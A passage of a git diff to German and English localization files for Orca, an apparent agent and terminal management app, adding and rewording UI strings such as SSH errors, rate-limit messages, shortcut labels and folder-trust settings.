           "b707773a0d": "Wenn aktiviert, läuft Orca beim Schließen des Fensters im Infobereich weiter, statt beendet zu werden.",
           "0cd9b8228f": "Das im Dock und im Fensterwechsler angezeigte App-Symbol auswählen.",
           "61d842eca0": "Die Verknüpfung zu Orca Mobile in der Seitenleiste anzeigen. Sie bleibt über den Werkzeugkasten verfügbar.",
@@ -7728,6 +7823,9 @@
           "333984cf90": "Bestehende Browser-Sitzung verwenden",
           "9895ed44de": "Computer Use öffnen"
         },
+        "BrowserUseEnableSwitch": {
+          "ce4d6f80d8": "Browser-Nutzung durch Agenten aktivieren"
+        },
         "BrowserUseExamples": {
           "1199258ace": "Kopieren",
           "1188e56af4": "Beispiel-Prompt kopieren",
@@ -7968,10 +8066,6 @@
             "modeAriaLabel": "Öffnungsmodus des Agenten-Dashboards",
             "modeInWindow": "Im Fenster",
             "modePopout": "Separates Fenster"
-          },
-          "browserExtensions": {
-            "copy": "Fügt Einstellungen › Browser › Erweiterungen für lokale Browserprofile hinzu.",
-            "toggleLabel": "Browser-Erweiterungen umschalten"
           }
         },
         "FloatingWorkspacePane": {
@@ -8732,6 +8826,9 @@
           "d32b87e754": "Review-Vorlage verwenden, falls verfügbar",
           "981eae7e14": "Standardmäßig als Entwurf erstellen"
         },
+        "RepositorySourceControlAiSection": {
+          "112f3b934f": "KI für die Quellcodeverwaltung"
+        },
         "RuntimeAccessGrantList": {
           "sshAccessCaveat": "Ein Widerruf hier verhindert nicht, dass sich jemand mit SSH-Zugriff auf diesen Computer erneut koppelt. Um den Zugriff vollständig zu entziehen, muss der SSH-Zugriff entfernt werden.",
           "6f6d5188ed": "Zugriff für {{value0}} widerrufen",
@@ -10134,13 +10231,6 @@
               "inWindow": "im Fenster",
               "worktrees": "Worktrees",
               "eaf17a7214": "Agenten-Dashboard"
-            },
-            "browserExtensions": {
-              "title": "Browser-Erweiterungen",
-              "description": "Chrome-Erweiterungen wie Passwortmanager in Orca-Browser-Tabs ausführen.",
-              "extension": "Erweiterung",
-              "chrome": "chrome",
-              "password": "Passwortmanager"
             }
           }
         },
@@ -11307,7 +11397,7 @@
         },
         "agent-workspace-trust-copy": {
           "title": "Dem Ordner vertrauen, wenn Orca einen Agenten startet",
-          "description": "Von Orca gestartete Agenten können die Abfrage „Do you trust this folder?“ überspringen, sodass die Agenten-Hooks und Einstellungen des Projekts sofort ausgeführt werden. Orca fragt einmal pro Repository beim ersten Agentenstart dort nach; die Antwort lässt sich in den Einstellungen dieses Repositorys ändern. Ausgeschaltet fragen Agenten immer selbst nach. Ein Agent, der unbeaufsichtigt läuft und nachfragt, etwa ein Orchestrierungs-Worker, eine Automatisierung oder ein vom Smartphone gestarteter Agent, wartet, bis die Frage in seinem Terminal beantwortet wird. Bereits als vertrauenswürdig eingestufte Ordner bleiben vertrauenswürdig."
+          "description": "Von Orca gestartete Agenten können die Abfrage „Do you trust this folder?“ überspringen, sodass die Agenten-Hooks und Einstellungen des Projekts sofort ausgeführt werden. In den Einstellungen eines Repositorys lässt sich das für dieses Repository ausschalten. Ausgeschaltet fragen Agenten immer selbst nach. Ein Agent, der unbeaufsichtigt läuft und nachfragt, etwa ein Orchestrierungs-Worker, eine Automatisierung oder ein vom Smartphone gestarteter Agent, wartet, bis die Frage in seinem Terminal beantwortet wird. Bereits als vertrauenswürdig eingestufte Ordner bleiben vertrauenswürdig."
         },
         "agent-generated-tab-title-copy": {
           "19ad21615a": "Tab-Titel automatisch generieren",
@@ -11898,12 +11988,12 @@
             "storage": "Daten im eigenen Speicherordner des Plugins speichern",
             "secrets": "Geheimnisse im eigenen verschlüsselten Tresor des Plugins speichern und lesen",
             "settingsOwn": "Die eigenen Einstellungen des Plugins lesen und ändern",
-            "agentsRead": "Benachrichtigungen, wenn sich der Agentenstatus ändert",
+            "agentsRead": "Benachrichtigung bei Änderungen des Agent-Status",
             "terminalRun": "Befehle in deinen Terminals ausführen, auch über SSH"
           },
           "decisionFailed": "Die Berechtigungsentscheidung konnte nicht gespeichert werden. Erneut versuchen.",
           "fullAccessWarning": "Vollzugriff: läuft wie ein normales Programm und kann deine Dateien lesen, das Netzwerk nutzen, andere Programme ausführen und Orca steuern, einschließlich deiner Terminals und Agenten.",
-          "uiWarning": "Führt den Code des Herausgebers in Orca aus, um seine Ansicht darzustellen. Orca zeigt, worauf er zugreifen kann, und fragt vor der Aktivierung."
+          "uiWarning": "Führt den Code des Herausgebers in Orca aus, um dessen Ansicht zu rendern. Orca zeigt, worauf er zugreifen kann, und fragt vor dem Aktivieren nach."
         },
         "PluginConsentProvenance": {
           "official": "Offiziell",
@@ -13067,7 +13157,7 @@
           "installed": "Installiert",
           "installing": "Wird installiert…",
           "reviewLabel": "{{value0}} prüfen und installieren",
-          "review": "Prüfen & installieren",
+          "review": "Prüfen und installieren",
           "retry": "Erneut versuchen"
         },
         "PluginContributionActionLanguage": {
@@ -13155,7 +13245,7 @@
           "commands": "Befehle & Panels",
           "catalogLabel": "Nach Katalog filtern",
           "editors": "Editoren",
-          "remoteVms": "Remote/VMs",
+          "remoteVms": "Remotes/VMs",
           "games": "Spiele",
           "agents": "Agenten",
           "integrations": "Integrationen"
@@ -13171,10 +13261,10 @@
           "noOtherAccess": "Kein weiterer Zugriff",
           "replacesShortcut": "{{value0}} ({{value1}}) ersetzt dein Tastenkürzel für {{value2}}.",
           "updatesKeepApproval": "Updates fragen nur bei neuem Zugriff erneut",
-          "fullAccessUpdates": "Updates können seinen Code ohne Nachfrage ändern",
-          "editsFileTypes": "Öffnet und bearbeitet {{value0}}-Dateien in Orca. Es kann die Dateien lesen, die es öffnet.",
-          "install": "Installieren & aktivieren",
-          "keepOff": "Deaktiviert lassen"
+          "fullAccessUpdates": "Updates können den Code ohne Nachfrage ändern",
+          "editsFileTypes": "Öffnet und bearbeitet {{value0}}-Dateien in Orca. Es kann die geöffneten Dateien lesen.",
+          "install": "Installieren und aktivieren",
+          "keepOff": "Ausgeschaltet lassen"
         },
         "PluginListEmptyStates": {
           "noFilterMatches": "Keine Plugins entsprechen diesen Filtern",
@@ -13334,10 +13424,10 @@
         },
         "PluginPageHero": {
           "screenshots": "Bildschirmfotos",
-          "openScreenshot": "Bildschirmfoto öffnen: {{value0}}",
+          "openScreenshot": "Screenshot öffnen: {{value0}}",
           "position": "{{value0}} von {{value1}}",
-          "previous": "Vorheriges Bildschirmfoto",
-          "next": "Nächstes Bildschirmfoto"
+          "previous": "Vorheriger Screenshot",
+          "next": "Nächster Screenshot"
         },
         "PluginContributionActionCommand": {
           "run": "Ausführen",
@@ -13398,27 +13488,6 @@
           "shownPluginCount_one": "{{count}} passendes Plugin angezeigt, einschließlich dieses Plugins",
           "shownPluginCount_other": "{{count}} passende Plugins angezeigt, einschließlich dieses Plugins",
           "samePublisher": "Weitere unter {{value0}} aufgeführte Plugins"
-        },
-        "RepositorySourceControlAiSection": {
-          "112f3b934f": "KI für die Quellcodeverwaltung"
-        },
-        "keep": {
-          "local": {
-            "main": {
-              "up": {
-                "to": {
-                  "date": {
-                    "setting": {
-                      "f4c23aee76": "Lokalen main-Branch aktuell halten"
-                    }
-                  }
-                }
-              }
-            }
-          }
-        },
-        "BrowserUseEnableSwitch": {
-          "ce4d6f80d8": "Browser-Nutzung durch Agenten aktivieren"
         }
       },
       "right": {
@@ -18464,7 +18533,6 @@
         "status": "Status",
         "priority": "Priorität",
         "assignee": "Zuständige Person",
-        "unassigned": "Nicht zugewiesen",
         "labels": "Labels",
         "countSelected": "{{count}} ausgewählt",
         "partialCoverageMarker": "· teilweise",
@@ -18559,7 +18627,9 @@
         "failingChip": "{{value0}} fehlgeschlagen",
         "pendingChip": "{{value0}} ausstehend",
         "needsActionChip": "{{value0}} mit Handlungsbedarf",
-        "unresolvedChip": "{{value0}} ungelöst"
+        "unresolvedChip": "{{value0}} ungelöst",
+        "noChecks": "Keine Checks gefunden",
+        "passingSummary": "{{value0}} von {{value1}} Checks erfolgreich"
       },
       "BrowserPane": {
         "streamConnectionLost": "Die Verbindung zum entfernten Server wurde unterbrochen.",
@@ -18987,14 +19057,10 @@
         }
       },
       "agent-workspace-trust-decision": {
-        "prompt-title": "Dem Repository {{repo}} für Agenten vertrauen?",
-        "prompt-description": "Agenten wie Claude Code und Codex fragen „Do you trust this folder?“, bevor sie die eigenen Agenten-Einstellungen und Hooks des Projekts laden, die Befehle ausführen können. Orca kann diese Frage in jedem Worktree dieses Repositorys automatisch mit Ja beantworten.",
-        "prompt-remembered": "Orca merkt sich die Antwort für dieses Repository. Sie lässt sich in den Einstellungen des Repositorys ändern.",
         "trust-repository": "Dem Repository vertrauen",
         "let-agents-ask": "Agenten fragen lassen",
         "setting-title": "Ordnervertrauen für Agenten",
         "setting-description": "Legt fest, ob von Orca gestartete Agenten in den Worktrees dieses Repositorys die Abfrage „Do you trust this folder?“ überspringen und die Agenten-Einstellungen und Hooks des Projekts sofort laden.",
-        "setting-undecided": "Noch nicht entschieden. Orca fragt beim nächsten Agentenstart hier nach.",
         "setting-global-off": "Das Ordnervertrauen ist in den Agenten-Einstellungen ausgeschaltet, daher fragen Agenten immer nach.",
         "keyword-trust": "vertrauen",
         "keyword-hooks": "Hooks"
@@ -20951,6 +21017,10 @@
     },
     "dictation": {
       "stoppedAfterSilenceSeconds": "Nach {{seconds}} Sekunden Stille gestoppt"
+    },
+    "toastFallbacks": {
+      "worktreeCreateFailed": "Worktree konnte nicht erstellt werden.",
+      "missingBaseBranchHelp": "Erstellen Sie einen ersten Commit (zum Beispiel auf main) oder wählen Sie unter „Erstellen von“ einen vorhandenen Branch aus und versuchen Sie es erneut."
     }
   },
   "dashboardPopout": {
diff --git a/src/renderer/src/i18n/locales/en.json b/src/renderer/src/i18n/locales/en.json
index 6f55aa8537b..0694127d1d8 100644
--- a/src/renderer/src/i18n/locales/en.json
+++ b/src/renderer/src/i18n/locales/en.json
@@ -871,7 +871,8 @@
           "added": "Added {{name}}",
           "browse": "Browse the Chrome Web Store",
           "openFailed": "Open a workspace to browse the Chrome Web Store."
-        }
+        },
+        "enabledToggleLabel": "Turn browser extensions on or off"
       },
       "passwords": {
         "searchKeywords": {
@@ -1052,6 +1053,7 @@
       "defaultSurfaceSetAllChat": "Set all to Chat",
       "defaultSurfaceSetAllTerminal": "Set all to Terminal",
       "sameAsChoice": "Same as {{agent}} · {{choice}}",
+      "modelListFallback": "Built-in list. Orca could not get a model list from this host.",
       "chatUnavailableOnWindows": "{{value0}} Chat isn't available on Windows yet, so {{value0}} opens in a terminal on this host. Chats on a macOS or Linux host still work.",
       "undetectedCommandHint": "If the {{agent}} CLI is installed outside PATH, enter the full path to its executable on this host."
     },
@@ -1096,6 +1098,19 @@
         "connected": "Connected",
         "reconnecting": "Reconnecting…",
         "reconnection-failed": "Reconnection failed"
+      },
+      "errors": {
+        "authMethodsFailed": "All configured authentication methods failed",
+        "badPassphrase": "Cannot parse privateKey: OpenSSH key integrity check failed -- bad passphrase?",
+        "connectionRefused": "Connection refused",
+        "connectionTimedOut": "Connection timed out",
+        "handshakeLost": "Connection lost before handshake",
+        "handshakeTimeout": "Timed out while waiting for handshake",
+        "hostKeyVerificationFailed": "Host key verification failed",
+        "hostNotFound": "Host not found",
+        "passphraseRequired": "Cannot parse privateKey: Encrypted private OpenSSH key detected, but no passphrase given",
+        "permissionDenied": "Permission denied",
+        "permissionDeniedPublickey": "Permission denied (publickey)"
       }
     },
     "shortcuts": {
@@ -1108,7 +1123,12 @@
         "modifierOnly": "Press a key, not only a modifier.",
         "invalidBindingValue": "Use a string, string array, null, or false.",
         "stringArrayRequired": "Use a string array.",
-        "fileNotObject": "Keybindings file must contain a JSON object."
+        "fileNotObject": "Keybindings file must contain a JSON object.",
+        "digitIndex": "Pick a number key 1–9 with a modifier, like Cmd+1 or Ctrl+1.",
+        "exampleChord": "Use a shortcut like Ctrl+Shift+P or Cmd+K.",
+        "modOrPlatform": "Use either Mod or a platform-specific modifier, not both.",
+        "needModifier": "Include at least one modifier key.",
+        "needNonModifier": "Press a key, not only a modifier."
       },
       "diagnostics": {
         "sectionNotObject": "{{section}} must be an object.",
@@ -1118,6 +1138,31 @@
         "unknownPlatform": "Unknown platform \"{{platform}}\" was ignored.",
         "conflictingOverrides": "Conflicting custom shortcuts were ignored: {{actions}}.",
         "readFailed": "Could not read keybindings file: {{reason}}"
+      },
+      "actions": {
+        "tab": {
+          "newAgentNamed": "New {{agent}} tab",
+          "newAgent": "New agent tab (default agent)"
+        }
+      },
+      "filters": {
+        "all": "All",
+        "modified": "Modified",
+        "conflicts": "Conflicts"
+      },
+      "conflict": "{{binding}} conflicts with {{titles}}.",
+      "groups": {
+        "agents": "Agents",
+        "browser": "Browser",
+        "chat": "Chat",
+        "editors": "Editors",
+        "fileExplorer": "File Explorer",
+        "global": "Global",
+        "quickCommands": "Quick Commands",
+        "settings": "Settings",
+        "tabNavigation": "Tab Navigation",
+        "tabs": "Tabs",
+        "terminalPanes": "Terminal Panes"
       }
     },
     "mcp": {
@@ -1376,7 +1421,18 @@
     "copy": "Copy",
     "selectAll": "Select All",
     "quitAndStopAllSessions": "Quit Completely...",
-    "quitAndStopAllSessionsTooltip": "Also stops every terminal session, including running agents. Plain Quit keeps them running so Orca reattaches on next launch."
+    "quitAndStopAllSessionsTooltip": "Also stops every terminal session, including running agents. Plain Quit keeps them running so Orca reattaches on next launch.",
+    "about": "About Orca",
+    "cut": "Cut",
+    "hide": "Hide Orca",
+    "hideOthers": "Hide Others",
+    "minimize": "Minimize",
+    "redo": "Redo",
+    "services": "Services",
+    "toggleFullScreen": "Toggle Full Screen",
+    "undo": "Undo",
+    "unhide": "Show All",
+    "zoom": "Zoom"
   },
   "tray": {
     "openOrca": "Open Orca",
@@ -1554,7 +1610,10 @@
           "f2e00db373": "File not found: {{value0}}",
           "checkRunDetailsUnavailable": "No details are available for this check.",
           "checkRunDetailsLoadFailed": "Failed to load check details.",
-          "checkRunDetailsRepoUnavailable": "Repository details are unavailable for this check."
+          "checkRunDetailsRepoUnavailable": "Repository details are unavailable for this check.",
+          "gitOperationTarget": {
+            "unresolvedHost": "The workspace host is unresolved. Refresh the workspace and retry."
+          }
         },
         "github": {
           "f129c42773": "GitHub did not return the new comment.",
@@ -1716,6 +1775,9 @@
               }
             }
           }
+        },
+        "terminalQuickCommandHosts": {
+          "saveFailed": "Failed to save quick command."
         }
       },
       "pluginAutoUpdates": {
@@ -1876,6 +1938,17 @@
               "edc1908653": "Opening remote paths in the local OS is not available."
             }
           }
+        },
+        "file": {
+          "manager": {
+            "label": {
+              "eb052ab0f6": "Finder",
+              "f2aa906c95": "File Explorer",
+              "8247848395": "File Manager",
+              "85cc2c844c": "Open in {{name}}",
+              "57b632c0bd": "Open in "
+            }
+          }
         }
       },
       "open": {
@@ -2253,6 +2326,154 @@
         "backgroundFailed": "Environment checks failed for a new VM workspace. Open it in the sidebar to continue.",
         "openedDegraded": "Creating the workspace on a VM whose environment checks failed.",
         "unreachable": "The environment checks could not finish: {{error}}"
+      },
+      "cli": {
+        "detail": {
+          "registerForWsl": "Register {{path}} to use Orca from WSL.",
+          "registerForTerminal": "Register {{path}} to use Orca from the terminal.",
+          "registerForWindowsShell": "Register {{path}} to use Orca from Command Prompt or PowerShell.",
+          "devLauncherOnly": "Development mode uses a generated launcher for validation only.",
+          "differentLauncher": "{{path}} points to a different launcher.",
+          "launcherMissing": "The bundled CLI launcher is missing from this Orca build.",
+          "noWslDistro": "No WSL distribution is available.",
+          "notOrcaLauncherScript": "{{path}} exists but is not an Orca launcher script.",
+          "notOrcaSymlink": "{{path}} exists but is not an Orca symlink.",
+          "olderLauncher": "{{path}} contains an older Orca launcher.",
+          "platformUnsupported": "CLI registration is not implemented on this platform.",
+          "readlinkPermissionDenied": "Orca does not have permission to inspect {{path}}. Check the path and its parent directory permissions, then try again.",
+          "registeredAt": "Registered at {{path}}.",
+          "registeredInDistroAt": "Registered in {{distro}} at {{path}}.",
+          "registrationUnavailable": "CLI registration is unavailable on this build.",
+          "unreadableSymlink": "{{path}} cannot be read. Register again to repair it.",
+          "windowsLauncherMissing": "The Windows Orca CLI launcher is missing.",
+          "windowsPathCheckFailed": "The Orca launcher exists, but Orca could not check your Windows user PATH.",
+          "windowsPathTimedOut": "Windows PATH command timed out after {{ms}}ms.",
+          "wslCommandTimedOut": "WSL command timed out after {{ms}}ms.",
+          "wslDistroUnreachable": "Could not reach the WSL distro. Try again.",
+          "wslHomeUnresolved": "Unable to resolve the WSL home directory.",
+          "wslInteropUnavailable": "WSL Windows interop is unavailable; Orca cannot launch the Windows CLI from WSL.",
+          "wslRegistrationUnavailable": "WSL CLI registration is unavailable.",
+          "wslWindowsOnly": "WSL CLI registration is only available on Windows."
+        }
+      },
+      "ephemeralVm": {
+        "provisionedRootNeedsUpdate": "The Orca server on this VM cannot adopt a provisioned root. Update Orca on the VM."
+      },
+      "executionHostFacts": {
+        "sshPlatformWithheld": "The SSH host has not reported its operating system yet. Connect to it and try again.",
+        "runtimePlatformWithheld": "The Orca server has not reported its operating system yet. Reconnect to it and try again.",
+        "runtimePlatformUpdate": "This Orca server does not report its operating system. Update the server to launch agents on it.",
+        "hostUnresolvedWithheld": "Orca cannot tell which host owns this workspace yet."
+      },
+      "fileOwnerRuntimeTarget": {
+        "unresolved": "Couldn't verify which host owns this file. Reopen the file and try again."
+      },
+      "nativeChatCliFork": {
+        "sourceChanged": "The source chat changed before preparation.",
+        "hostUnavailable": "The conversation host is unavailable.",
+        "preparationTimedOut": "Conversation preparation timed out.",
+        "noSavedConversation": "This chat has no saved conversation to copy."
+      },
+      "projectHostSetupOptions": {
+        "locationNotSet": "Project location not set"
+      },
+      "updateCheckClickOptions": {
+        "releaseHint": "{{rcKey}}+click checks the latest RC; {{perfKey}}+click checks the latest perf build.",
+        "localMacBuildHint": "⌥+click chooses a local macOS build."
+      },
+      "workspacePortScan": {
+        "serverSshUpdateRequired": "Update the server to see ports on its SSH hosts.",
+        "hostMismatch": "The server scanned a different host than this workspace runs on."
+      },
+      "emulator": {
+        "androidSdkNotFound": "Android SDK not found. Install Android Studio and set ANDROID_HOME.",
+        "xcodeSimulatorToolsUnavailable": "Xcode Simulator tools are unavailable. Install full Xcode, open it once, then select it with `sudo xcode-select --switch /Applications/Xcode.app/Contents/Developer`."
+      },
+      "rateLimits": {
+        "errors": {
+          "chatgptAuthRequired": "ChatGPT authentication required to read rate limits",
+          "claudeKeychainUnavailable": "Claude Keychain credentials unavailable",
+          "claudeOauthTokenUnavailable": "Claude OAuth access token unavailable",
+          "claudePlanUsageUnavailable": "Claude plan usage is unavailable for this Claude CLI session.",
+          "claudeRateLimited": "Claude usage is rate limited right now.",
+          "claudeUsageUnavailable": "Claude usage is unavailable right now.",
+          "claudeWaitingCredentialRotate": "Claude usage refresh is waiting for the live Claude terminal to rotate its credentials.",
+          "cliExitedBeforeStatus": "CLI exited before status was available",
+          "cliExitedBeforeUsage": "CLI exited before /usage rendered",
+          "codexCliCannotRun": "Codex CLI found but could not run — Node.js may not be in your PATH",
+          "codexCliNotFound": "Codex CLI not found",
+          "codexHomeUnavailable": "Codex home unavailable",
+          "codexNotSignedIn": "Codex not signed in",
+          "codexRebuildingIndex": "Codex is rebuilding its session index; usage will refresh when recovery finishes",
+          "codexResetFailedHttp": "Codex reset failed: HTTP {{status}}",
+          "codexResetIdempotencyRequired": "Codex reset idempotency key is required",
+          "codexResetUnknownOutcome": "Unknown Codex reset outcome",
+          "codexSignInCheckTimeout": "Timed out while checking Codex sign-in status",
+          "codexSignInStatusUnavailable": "Codex sign-in status is unavailable",
+          "couldNotParseUsageAnyWorkspace": "Could not parse usage data from any available workspace",
+          "couldNotParseUsagePage": "Could not parse usage data from page",
+          "failedToLoadUsage": "Failed to load usage data",
+          "failedToParseCliOutput": "Failed to parse CLI output",
+          "fetchAborted": "Rate-limit fetch aborted",
+          "geminiCredentialsNotFound": "Gemini CLI credentials not found",
+          "geminiOauthDisabled": "Gemini CLI OAuth is disabled in settings",
+          "geminiProjectIdLoadFailed": "Failed to load Gemini project ID (HTTP {{status}})",
+          "geminiProjectIdMissingInResponse": "Gemini project ID not found in API response",
+          "geminiProjectIdNotFound": "Gemini project ID not found",
+          "grokAuthInvalid": "Grok auth file is invalid",
+          "grokAuthUnreadable": "Unable to read Grok auth file",
+          "grokBillingConfigMissing": "Grok billing response did not include config",
+          "grokBillingUsageMissing": "Grok billing response did not include credit usage",
+          "grokNotSignedIn": "Not signed in to Grok — run grok login",
+          "grokSignInExpired": "Grok sign-in expired — run grok on the computer running Orca; sign in if prompted. No chat message is needed.",
+          "grokUsageFailedHttp": "Grok usage request failed (HTTP {{status}})",
+          "grokUsageRequestFailed": "Grok usage request failed",
+          "grokUsageUnauthorizedHttp": "Grok usage request unauthorized (HTTP {{status}})",
+          "kimiCredentialsInvalid": "Kimi credentials file is invalid",
+          "kimiCredentialsMissingToken": "Kimi credentials file is missing an access token",
+          "kimiCredentialsUnreadable": "Unable to read Kimi credentials",
+          "kimiNotSignedIn": "Not signed in to Kimi Code",
+          "kimiQuotaWindowsMissing": "Kimi usage response did not include quota windows",
+          "kimiSessionExpired": "Kimi session expired — run kimi {{where}}, then retry usage.",
+          "kimiUsageFailedHttp": "Kimi usage request failed (HTTP {{status}})",
+          "kimiUsageRequestFailed": "Kimi usage request failed",
+          "kimiUsageUnauthorizedHttp": "Kimi usage request unauthorized (HTTP {{status}})",
+          "minimaxAuthCookieMissing": "MiniMax auth cookie not found — paste a Cookie header with _token",
+          "minimaxCookieDecryptFailed": "MiniMax session cookie could not be decrypted",
+          "minimaxCookieNotConfigured": "MiniMax session cookie not configured",
+          "minimaxInvalidUsageResponse": "Invalid MiniMax usage response",
+          "minimaxModelUsageMissing": "MiniMax usage data for the configured model was not found",
+          "minimaxReturnedError": "MiniMax returned an error",
+          "minimaxSessionExpired": "MiniMax session expired. Replace the MiniMax cookie in Settings.",
+          "minimaxUnknownUsageError": "Unknown MiniMax usage error",
+          "minimaxUsageFetchFailed": "MiniMax usage fetch failed ({{status}})",
+          "noCredentials": "No credentials",
+          "noSubscriptionApiKeyBilling": "No subscription plan — API key billing",
+          "opencodeInvalidWorkspaceId": "Invalid workspace ID format",
+          "opencodeNoAuthCookie": "No auth cookie found — paste the full Cookie header from opencode.ai DevTools",
+          "opencodeNoWorkspaceId": "No workspace ID found — set a Workspace ID override in settings",
+          "opencodeNoWorkspaceIdShort": "No workspace ID found",
+          "ptyTimeout": "PTY timeout",
+          "ptyUsageTimeout": "PTY timeout — /usage panel did not render",
+          "quotaFetchFailed": "Quota fetch failed ({{status}})",
+          "rpcFailed": "RPC failed",
+          "rpcProcessExited": "RPC process exited unexpectedly",
+          "rpcTimeout": "RPC timeout",
+          "sessionCookieNotConfigured": "Session cookie not configured",
+          "signInWithChatgpt": "Sign in with ChatGPT",
+          "tokenRefreshFailed": "Token refresh failed",
+          "unknown": "Unknown error",
+          "usagePageFetchFailed": "Usage page fetch failed ({{status}})",
+          "waitingForClaudeSession": "Waiting for Claude session",
+          "workspacesFetchFailed": "Workspaces fetch failed ({{status}})",
+          "wslClaudeConfigUnavailable": "WSL Claude config unavailable for {{distro}}",
+          "wslCodexHomeUnavailable": "WSL Codex home unavailable for {{distro}}",
+          "wslKimiHomeUnavailable": "WSL Kimi home unavailable for {{distro}}"
+        }
+      },
+      "workspacePortBrowserOpen": {
+        "systemBrowserHint": "{{shortcut}}+click to open in the system browser",
+        "tooltip": "{{label}}. {{hint}}"
       }
     },
     "hooks": {
@@ -2267,6 +2488,7 @@
         "5f3d2c8a1b": "Failed to resolve MR base.",
         "dropPartiallyAttached_one": "{{failureCount}} of {{count}} item could not be attached.",
         "dropPartiallyAttached_other": "{{failureCount}} of {{count}} items could not be attached.",
+        "dropPartiallyAttached": "{{failureCount}} of {{count}} items could not be attached.",
         "folderSetupSupportCheckFailed": "Couldn't confirm whether this host runs folder setup scripts. Try again."
       },
       "useGlobalFileDrop": {
@@ -2283,11 +2505,13 @@
         "nativeDropUnresolvedPathsDescription": "Save them to disk first, then drop the saved files.",
         "nativeDropUnresolvedPaths": "Orca couldn't read a path for the dropped files.",
         "nativeDropTempCopyFailed_one": "Orca couldn't copy {{count}} dropped file.",
-        "nativeDropTempCopyFailed_other": "Orca couldn't copy {{count}} dropped files."
+        "nativeDropTempCopyFailed_other": "Orca couldn't copy {{count}} dropped files.",
+        "nativeDropTempCopyFailed": "Orca couldn't copy {{count}} dropped files."
       },
       "useIpcEvents": {
         "0e3cf53060": "Browser tab {{value0}} not found",
         "2f6637fe6c": "Browser tab {{value0}} is pinned",
+        "unsent_notes_close_canceled": "Browser tab {{value0}} has unsent notes, and the user kept it open",
         "a8d2bf8e9e": "No active browser tab to close",
         "f000b2ff76": "No active worktree",
         "7a64b31991": "Local terminal creation is unavailable while a remote runtime is active",
@@ -2407,6 +2631,11 @@
         "sshManagedServer": {
           "refusedBlocked": "Orca couldn’t set itself up on this SSH host. SSH Hosts in Settings shows why."
         }
+      },
+      "composerState": {
+        "runtimeTargetSelection": {
+          "selectProjectFirst": "Select a project first."
+        }
       }
     },
     "components": {
@@ -2837,7 +3066,6 @@
         "23886c7eec": "Add label",
         "7f7b89b631": "Labels: {{value0}}",
         "b2376d0179": "Loading members",
-        "866316f22c": "Unassigned",
         "b5675b0694": "Save",
         "ceeb8c6153": "Clear",
         "fbb90300e2": "Custom estimate",
@@ -4019,7 +4247,6 @@
               "f4c79cff5f": "Review the workspace error below, then refresh.",
               "ef90b21366": "No views found",
               "c0a50f96a4": "Unable to load views",
-              "df4bd63c1d": "Unassigned",
               "30402d2c6e": "Try search or refresh.",
               "a2f31c4cd6": "No Linear projects found",
               "c9b6e9f90d": "Unable to load Linear projects",
@@ -4217,6 +4444,10 @@
         },
         "sheet": {
           "1189e9fe0a": "Close"
+        },
+        "command": {
+          "paletteTitle": "Command Palette",
+          "paletteDescription": "Search for a command to run..."
         }
       },
       "terminal": {
@@ -4511,7 +4742,9 @@
             "0d1963f4a6": "This tab is pinned. Are you sure you want to close it?",
             "dont_ask_again": "Don't ask again for pinned tabs",
             "0b38ee2f86": "Cancel",
-            "c337c9d75c": "Close"
+            "c337c9d75c": "Close",
+            "unsent_notes_title": "Discard unsent notes?",
+            "unsent_notes_description": "This tab has notes you haven't sent. Closing it discards them."
           },
           "TerminalSshReconnectOverlay": {
             "authFailed": "Authentication failed for {{value0}}. Connect again to continue this terminal session.",
@@ -4586,6 +4819,9 @@
           "RemoteViewportHeldChip": {
             "sizedElsewhere": "Sized for another window",
             "fitHere": "Fit here"
+          },
+          "legacyRelayBridge": {
+            "unreachable": "This terminal is still running on the host under an older version of Orca. Reconnecting to it…"
           }
         }
       },
@@ -4991,6 +5227,7 @@
             "addAnotherAccount": "Add another account…",
             "staleCodexSessions_one": "{{count}} Codex session is still on the old account.",
             "staleCodexSessions_other": "{{count}} Codex sessions are still on the old account.",
+            "windowWeeks": "{{value0}}wk",
             "museUsageMenu": "Muse Usage"
           },
           "StatusBarUsageEmptyCta": {
@@ -5750,7 +5987,8 @@
         },
         "usageFormatters": {
           "notScannedYet": "Not scanned yet",
-          "updatedAt": "Updated {{time}}"
+          "updatedAt": "Updated {{time}}",
+          "unknownLocation": "Unknown location"
         }
       },
       "sparse": {
@@ -6439,7 +6677,8 @@
           "moreLoadedPaths_other": "and {{count}} more loaded paths",
           "changesLost_one": "{{count}} uncommitted change will be lost",
           "changesLost_other": "{{count}} uncommitted changes will be lost",
-          "uncountedChangesLost": "Uncommitted changes will be lost"
+          "uncountedChangesLost": "Uncommitted changes will be lost",
+          "moreLoadedPaths": "and {{value0}} more loaded paths"
         },
         "DeleteWorktreeLineageNotice": {
           "a940f3c96e": "Child workspaces will be deleted",
@@ -7477,7 +7716,8 @@
           "pairingHelpShareComputer": "Create this under Settings → Remote Orca Servers → Share this computer on the other computer.",
           "sshImportSynced_one": "Added {{count}} host to Orca.",
           "sshImportSynced_other": "Added {{count}} hosts to Orca.",
-          "sshConfigPickerInvalidResponse": "Invalid SSH config host response"
+          "sshConfigPickerInvalidResponse": "Invalid SSH config host response",
+          "sshImportSynced": "Added {{value0}} host{{value1}} to Orca."
         },
         "ForgetSshWorkspaceDialog": {
           "ghostBody": "{{host}} is no longer a saved SSH host, so this workspace is no longer connected to a live host. It can only be removed from Orca — files and branches on the remote are left untouched.",
@@ -7539,7 +7779,12 @@
                 "1e1a5f6763": "Local branches deleted: {{value0}}",
                 "43d9395605": "{{value0}} deleted, {{value1}} not deleted",
                 "d42f1f14e0_one": "Retry {{count}} Branch",
-                "d42f1f14e0_other": "Retry {{count}} Branches"
+                "d42f1f14e0_other": "Retry {{count}} Branches",
+                "0e0379f24a": "{{count}} branches kept",
+                "6310412304": "Review {{count}} Branches",
+                "a3cdd9d9e6": "Git kept {{count}} local branches because they may contain unmerged commits. Kept branches do not retain workspace folders; their commits remain in the repository. Orca may continue freeing workspace disk space in the background.",
+                "cea24c2b7d": "{{count}} workspaces removed",
+                "d42f1f14e0": "Retry {{count}} Branches"
               }
             }
           }
@@ -7553,7 +7798,8 @@
           "676db406fd": "Head unavailable",
           "285e1e4882": "Cancel",
           "a0f9863597_one": "Force Delete {{count}} Branch",
-          "a0f9863597_other": "Force Delete {{count}} Branches"
+          "a0f9863597_other": "Force Delete {{count}} Branches",
+          "a0f9863597": "Force Delete {{count}} Branches"
         },
         "WorktreeListScrollToTopButton": {
           "jumpToTop": "Jump to top"
@@ -7739,7 +7985,23 @@
           "running": "Running",
           "idle": "Idle"
         },
-        "projectOrderSaveFailed": "Could not save the complete project order"
+        "projectOrderSaveFailed": "Could not save the complete project order",
+        "hostSection": {
+          "localWindows": "Local Windows",
+          "localMac": "Local Mac",
